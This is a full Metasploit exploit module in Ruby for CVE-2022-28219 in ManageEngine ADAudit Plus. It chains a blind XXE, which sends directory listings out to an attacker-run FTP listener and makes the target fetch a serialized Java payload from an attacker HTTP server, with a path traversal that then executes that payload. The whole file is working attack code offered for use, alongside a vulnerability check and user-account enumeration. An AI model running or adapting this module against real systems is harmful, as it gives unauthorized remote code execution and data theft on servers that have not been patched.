## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::TcpServer include Msf::Exploit::CmdStager include Msf::Exploit::JavaDeserialization include Msf::Handler::Reverse::Comm def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219', 'Description' => %q{ This module exploits CVE-2022-28219, which is a pair of vulnerabilities in ManageEngine ADAudit Plus versions before build 7060: a path traversal in the /cewolf endpoint, and a blind XXE in, to upload and execute an executable file. }, 'Author' => [ 'Naveen Sunkavally', # Initial PoC + disclosure 'Ron Bowes', # Analysis and module ], 'References' => [ ['CVE', '2022-28219'], ['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'], ['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'], ['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'], ], 'DisclosureDate' => '2022-06-29', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8081 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']), OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']), OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]), OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]), OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]), ]) register_advanced_options([ OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]), OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]), OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]), ]) end def srv_host if (datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::') return datastore['URIHOST'] || Rex::Socket.source_address(rhost) end return datastore['SRVHOST'] end def check # Make sure it's ADAudit Plus by requesting the root and checking the title res1 = send_request_cgi( 'method' => 'GET', 'uri' => '/' ) unless res1 return CheckCode::Unknown('Target failed to respond to check.') end unless res1.code == 200 && res1.body.match?(/ADAudit Plus/) return CheckCode::Safe('Does not appear to be ADAudit Plus') end # Check if it's a vulnerable version (the patch removes the /cewolf endpoint # entirely) res2 = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc") ) unless res2 return CheckCode::Unknown('Target failed to respond to check.') end unless res2.code == 200 return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).') end CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.') end def exploit # List the /users folder - this is good to do first, since we can fail early # if something isn't working vprint_status('Attempting to exploit XXE to get a list of users') users = get_directory_listing('/users') unless users fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)') end # Remove common users users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public'] if users.empty? fail_with(Failure::NotFound, 'Failed to find any non-default user accounts') end print_status("User accounts discovered: #{users.join(', ')}") # I can't figure out how to properly encode spaces, but using the 8.3 # version works! This converts them users.map do |u| if u.include?(' ') u = u.gsub(/ /, '')[0..6].upcase + '~1' end u end # Check the filesystem for existing payloads that we should ignore vprint_status('Enumerating old payloads cached on the server (to skip later)') existing_payloads = search_for_payloads(users) # Create a serialized payload begin # Create a queue so we can detect when the payload is delivered queue = Queue.new # Upload payload to remote server # (this spawns a thread we need to clean up) print_status('Attempting to exploit XXE to store our serialized payload on the server') t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue) # Wait for something to arrive in the queue (basically using it as a # semaphor vprint_status('Waiting for the payload to be sent to the target') queue.pop # We don't need the result # Get a list of possible payloads (never returns nil) vprint_status("Trying to find our payload in all users' temp folders") possible_payloads = search_for_payloads(users) possible_payloads -= existing_payloads # Make sure the payload exists if possible_payloads.empty? fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target') end # If multiple payloads appeared, abort for safety if possible_payloads.length > 1 fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!") end # Execute the one payload payload_path = possible_payloads.pop print_status("Triggering payload: #{payload_path}...") res = send_request_cgi( 'method' => 'GET', 'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}" ) if res&.code != 200 fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}") end ensure # Kill the upload thread if t begin t.kill rescue StandardError # Do nothing if we fail to kill the thread end end end end def get_directory_listing(folder) print_status("Getting directory listing for #{folder} via XXE and FTP") # Generate a unique callback URL path = "/#{rand_text_alpha(rand(8..15))}.dtd" full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}" # Send the username anonymous and no password so the server doesn't log in # with the password "Java1.8.0_51@" which is detectable # We use `end_tag` at the end so we can detect when the listing is over end_tag = rand_text_alpha(rand(8..15)) ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}" serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;") # Start a server to handle the reverse FTP connection ftp_server = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['SRVPORT_FTP'], 'LocalHost' => datastore['SRVHOST'], 'Comm' => select_comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) # Trigger the XXE to get file listings res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s, 'ctype' => 'application/json', 'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>") ) if res&.code != 200 fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}") end ftp_client = nil begin # Wait for a connection with a timeout select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout']) unless select_result && !select_result.empty? print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}") return nil end # Accept the connection ftp_client = ftp_server.accept # Print a standard banner ftp_client.print("220 Microsoft FTP Service\r\n") # We need to flip this so we can get a directory listing over multiple packets directory_listing = nil loop do select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout']) # Check if we ran out of data if !select_result || select_result.empty? # If we got nothing, we're sad if directory_listing.nil? || directory_listing.empty? print_warning('Did not receive data from our reverse FTP connection') return nil end # If we have data, we're happy and can break break end # Receive the data that's waiting data = ftp_client.recv(256) if data.empty? # If we got nothing, we're done receiving break end # Match behavior with ftp://test.rebex.net if data =~ /^USER ([a-zA-Z0-9_.-]*)/ ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n") elsif data =~ /^PASS / ftp_client.print("230 User logged in.\r\n") elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/ ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n") elsif data =~ /^EPSV ALL/ ftp_client.print("200 ESPV command successful.\r\n") elsif data =~ /^EPSV/ # (no space) ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n") elsif data =~ /^RETR (.*)/m # Store the start of the listing directory_listing = Regexp.last_match(1) else # Have we started receiving data? # (Disable Rubocop, because I think it's way more confusing to # continue the elsif train) if directory_listing.nil? # rubocop:disable Style/IfInsideElse # We shouldn't really get here, but if we do, just play dumb and # keep the client talking ftp_client.print("230 User logged in.\r\n") else # If we're receiving data, just append directory_listing.concat(data) end end # Break when we get the PORT command (this is faster than timing out, # but doesn't always seem to work) if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m directory_listing = Regexp.last_match(1) break end end ensure ftp_server.close if ftp_client ftp_client.close end end # Handle FTP errors (which thankfully aren't as common as they used to be) unless ftp_client print_warning("Didn't receive expected FTP connection") return nil end if directory_listing.nil? || directory_listing.empty? vprint_warning('FTP client connected, but we did not receive any data over the socket') return nil end # Remove PORT commands, split at \r\n or \n, and remove empty elements directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?) end def search_for_payloads(users) return users.flat_map do |u| dir = "/users/#{u}/appdata/local/temp" # This will search for the payload, but right now just print stuff listing = get_directory_listing(dir) unless listing vprint_warning("Couldn't get directory listing for #{dir}") next [] end listing .select { |f| f =~ /^jar_cache[0-9]+.tmp$/ } .map { |f| File.join(dir, f) } end end def upload_payload(payload, queue) t = framework.threads.spawn('adaudit-payload-deliverer', false) do c = nil begin # We use a TCP socket here so we can hold the socket open after the HTTP # conversation has concluded. That way, the server caches the file in # the user's temp folder while it waits for more data http_server = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['SRVPORT_HTTP2'], 'LocalHost' => srv_host, 'Comm' => select_comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) # Wait for the reverse connection, with a timeout select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout']) unless select_result && !select_result.empty? fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}") end # Receive and discard the HTTP request c = http_server.accept c.recv(1024) c.print "HTTP/1.1 200 OK\r\n" c.print "Connection: keep-alive\r\n" c.print "\r\n" c.print payload # This will notify the other thread that something has arrived queue.push(true) # This has to stay open as long as it takes to enumerate all users' # directories to find then execute the payload. ~5 seconds works on # a single-user system, but I increased this a lot for production. # (This thread should be killed when the exploit completes in any case) Rex.sleep(60) ensure http_server.close if c c.close end end end # Trigger the XXE to get file listings path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt" full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}" res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s, 'ctype' => 'application/json', 'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>") ) if res&.code != 200 fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}") end return t end def serve_http_file(path, respond_with = '') start_service({ 'Uri' => { 'Proc' => proc do |cli, _req| send_response(cli, respond_with) end, 'Path' => path }, 'ssl' => false # do not use SSL }) end def create_json_request(xml_payload) [ { 'DomainName' => datastore['domain'], 'EventCode' => 4688, 'EventType' => 0, 'TimeGenerated' => 0, 'Task Content' => xml_payload } ].to_json end end